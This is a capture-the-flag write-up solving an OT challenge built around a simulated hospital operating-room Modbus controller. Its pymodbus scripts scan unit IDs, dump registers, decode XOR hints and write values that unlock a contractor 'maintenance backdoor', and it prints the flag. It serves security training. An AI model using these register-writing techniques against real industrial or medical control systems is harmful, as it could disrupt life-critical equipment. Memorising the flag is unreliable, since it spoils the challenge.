# Operating Room | Field | Value | |-------|-------| | Category | OT | | Difficulty | Medium-Hard | | Points | 500 | | Author | Eun0us | | CTF | Espilon 2026 | --- ## Description The operating room at Clinique Sainte-Mika runs on an industrial Modbus-based control system managing HVAC, pressure, O2, ventilation, and lighting. A maintenance backdoor was left in the system by the contractor. Find it. Unlock it. You will need standard Modbus tools to interact with this challenge. - Modbus TCP: `tcp/:502` Format: **ESPILON{flag}** --- ## TL;DR Scan Modbus unit IDs to find unit 13. Map all holding registers: spot XOR key `0x0D13` at registers 19 and 105, and the state machine at registers 100-110. Decode each hint, write the correct value to register 110 before the timer expires. Execute all 6 state transitions (state 5 requires special value `0x1337`). Read the flag from registers 200-215. --- ## Tools | Tool | Purpose | |------|---------| | Python 3 + `pymodbus` | Modbus TCP client | | XOR arithmetic | Decode hints from register 101 | --- ## Solution ![tshark Modbus/TCP capture showing anomalous coil write](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/wireshark_modbus.png) ### Step 1 — Discover the correct unit ID Default unit ID 1 returns Modbus exceptions. Scan IDs 1-20: ```python from pymodbus.client import ModbusTcpClient client = ModbusTcpClient("") client.connect() for uid in range(1, 20): r = client.read_holding_registers(0, 1, slave=uid) if not r.isError(): print(f"Unit ID {uid} responds!") break ``` **Unit ID 13 responds.** (Reference to Room 013.) ### Step 2 — Map registers on unit 13 ```python regs = client.read_holding_registers(0, 256, slave=13).registers ``` Key registers: | Register | Value | Meaning | |----------|-------|---------| | 0-19 | Telemetry | HVAC, humidity, pressure, O2, fan RPM, lux... | | 13 | `0x4C4E` | "LN" — Lain easter egg | | 19 | `0x0D13` | XOR key | | 100 | current state | State machine (starts at 0) | | 101 | encoded hint | `expected_value = reg_101 XOR reg_105` | | 102 | countdown timer | Must write before timer = 0 | | 105 | `0x0D13` | XOR key copy (breadcrumb) | | 110 | write target | Trigger register | | 200-215 | zeros → flag | Populated after completion | ![register dump highlighting XOR key at reg 19 and 105, and state machine at 100-1](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/oproom_regs.png) ### Step 3 — Decode the state machine logic - Register 100 = current state (0–6) - Register 101 = XOR-encoded expected value - Register 105 = XOR key = `0x0D13` - Decode: `expected = reg[101] XOR 0x0D13` - Write `expected` to register 110 to advance the state - Each transition must complete before register 102 (timer) reaches 0 - Wrong values or timeouts reset the state machine to 0 ### Step 4 — Execute all 6 transitions | State | Subsystem | Decoded Value | Formula | |-------|-----------|--------------|---------| | 0 | HVAC | 220 | reg[0] (temperature) | | 1 | Pressure | 15 | reg[2] (pressure) | | 2 | O2 | 50 | reg[3] (O2 flow) | | 3 | Ventilation | 1200 | reg[4] (fan RPM) | | 4 | Lighting | 800 | reg[5] (lux) | | 5 | Safety | 4919 | `0x1337` (hardcoded hacker constant) | ```python import time for expected_state in range(6): regs = client.read_holding_registers(100, 6, slave=13).registers state = regs[0] hint_enc = regs[1] timer = regs[2] xor_key = regs[5] expected = hint_enc ^ xor_key print(f"State {state}: write {expected} (timer={timer})") client.write_register(110, expected, slave=13) time.sleep(0.3) ``` ![script executing each transition and state advancing from 0 to 6](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/oproom_transitions.png) ### Step 5 — Read the flag After state 6 (complete), read registers 200-215: ```python regs = client.read_holding_registers(200, 16, slave=13).registers flag = "" for val in regs: if val == 0: break flag += chr((val >> 8) & 0xFF) + chr(val & 0xFF) print(flag) ``` ![flag registers decoded to ASCII](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/oproom_flag.png) --- ## Flag `ESPILON{m0dbu5_0p3r4t1ng_r00m}`